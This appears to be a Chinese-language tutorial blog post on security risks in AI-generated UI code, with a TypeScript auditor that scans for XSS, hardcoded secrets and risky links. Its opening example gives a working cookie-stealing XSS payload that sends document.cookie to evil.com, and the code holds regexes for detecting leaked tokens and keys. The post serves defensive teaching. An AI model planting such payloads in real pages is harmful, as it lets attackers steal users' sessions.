AI UI 生成的安全问题：XSS 注入、隐私泄露与内容审核的防护策略-平芜编程栈

AI UI 生成的安全问题：XSS 注入、隐私泄露与内容审核的防护策略

一、引子：AI 好心塞了一个 XSS 漏洞

让 AI 生成一个用户评论组件，它贴心地加了"支持富文本和链接"的功能。代码使用dangerouslySetInnerHTML渲染用户内容。这个组件如果直接上线，任何一个在评论中写入<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">的用户都能窃取其他用户的 Cookie。

AI 不会主动考虑安全——它只会尽力满足你在 Prompt 中描述的功能需求。"支持富文本"被理解为"直接渲染 HTML"，而非"需要 HTML 净化"。AI UI 生成的安全问题有三类高频场景：XSS 注入、用户数据暴露和未授权的内容生成。

二、安全风险全景

三、生产级防护代码

/** * AI UI 安全审查器 * * 在 AI 生成代码合并前，自动扫描三类安全问题。 */ interface SecurityIssue { type: 'xss' | 'privacy' | 'injection'; severity: 'critical' | 'high' | 'medium'; location: string; description: string; fix: string; } class AISecurityAuditor { /** * 扫描 AI 生成的代码 */ audit(code: string): SecurityIssue[] { const issues: SecurityIssue[] = []; // === XSS 检查 === this.checkXSS(code, issues); // === 隐私泄露检查 === this.checkPrivacyLeak(code, issues); // === 内容注入检查 === this.checkInjection(code, issues); return issues; } /** * XSS 注入检测 * * 重点检查： * 1. dangerouslySetInnerHTML / innerHTML 未配合 DOMPurify * 2. href 使用用户输入未验证 * 3. eval / new Function 使用用户输入 */ private checkXSS(code: string, issues: SecurityIssue[]): void { // 检查 dangerouslySetInnerHTML 未净化 if (code.includes('dangerouslySetInnerHTML') && !code.includes('DOMPurify') && !code.includes('sanitize')) { issues.push({ type: 'xss', severity: 'critical', location: 'JSX 渲染', description: 'dangerouslySetInnerHTML 使用用户输入但未 HTML 净化', fix: '必须用 DOMPurify.sanitize() 净化后再使用，或改用文本渲染', }); } // 检查 innerHTML 直接赋值用户输入 const innerHTMLRegex = /\.innerHTML\s*=\s*(?!['"][^'"<>]*['"])/g; if (innerHTMLRegex.test(code)) { issues.push({ type: 'xss', severity: 'critical', location: 'DOM 操作', description: 'innerHTML 赋值可能包含用户输入', fix: '使用 textContent 替代，或确保内容经过净化', }); } // 检查 URL 跳转未验证（a 标签 href 拼接用户输入） const unsafeHrefRegex = /href\s*=\s*\{.*(?:userInput|params|query|location)/i; if (unsafeHrefRegex.test(code)) { issues.push({ type: 'xss', severity: 'high', location: '链接跳转', description: 'href 使用了用户输入但未进行 URL 验证', fix: '验证 URL 协议（仅允许 http/https），或使用白名单跳转', }); } } /** * 隐私泄露检测 * * 检查： * 1. 错误信息暴露了堆栈/路径/数据库信息 * 2. Debug 日志输出到界面 * 3. API Key / Token 硬编码 */ private checkPrivacyLeak(code: string, issues: SecurityIssue[]): void { // 检查 API Key 泄露 const apiKeyRegex = /(api[_-]?key|api[_-]?secret|token)\s*[:=]\s*['"][A-Za-z0-9_-]{20,}/gi; const apiKeyMatch = code.match(apiKeyRegex); if (apiKeyMatch) { issues.push({ type: 'privacy', severity: 'critical', location: '常量定义', description: `发现硬编码的 API Key: ${apiKeyMatch[0]}`, fix: '使用环境变量 process.env 存储敏感信息', }); } // 检查 console.log 中的敏感信息 const consoleRegex = /console\.(log|debug|info)\s*\(\s*[^)]*(?:password|token|secret|key)/i; if (consoleRegex.test(code)) { issues.push({ type: 'privacy', severity: 'high', location: '日志输出', description: 'console.log 中可能包含敏感信息', fix: '移除生产环境的调试日志，敏感字段脱敏处理', }); } // 检查错误边界是否暴露了堆栈信息 if (code.includes('componentDidCatch') || code.includes('ErrorBoundary')) { const hasStackExposure = /error\.stack|error\.message/.test(code) && code.includes('render') && !code.includes('production'); if (hasStackExposure) { issues.push({ type: 'privacy', severity: 'medium', location: '错误边界', description: '错误边界可能在界面上暴露技术细节', fix: '生产环境仅显示用户友好的错误信息', }); } } } /** * 内容注入/审核绕过检测 * * 检查： * 1. HTML/JS 注释中包含疑似 Prompt 注入的内容 * 2. AI 生成了超链接到外部不可信域名 */ private checkInjection(code: string, issues: SecurityIssue[]): void { // 检查外部链接（AI 可能生成恶意 URL） const externalLinkRegex = /https?:\/\/(?!(?:localhost|127\.0\.0\.1|your-domain\.com))\S+/gi; const externalLinks = code.match(externalLinkRegex); if (externalLinks && externalLinks.length > 3) { issues.push({ type: 'injection', severity: 'medium', location: '外部链接', description: `代码中包含 ${externalLinks.length} 个外部链接，需人工确认`, fix: '确认所有外部链接是否为预期内容', }); } } } // 在 CI 中使用 const auditor = new AISecurityAuditor(); const issues = auditor.audit(aiGeneratedCode); if (issues.some(i => i.severity === 'critical')) { console.error('AI 生成的代码存在严重安全问题，阻断合并！'); issues.forEach(i => console.error(`[${i.severity}] ${i.description}`)); process.exit(1); }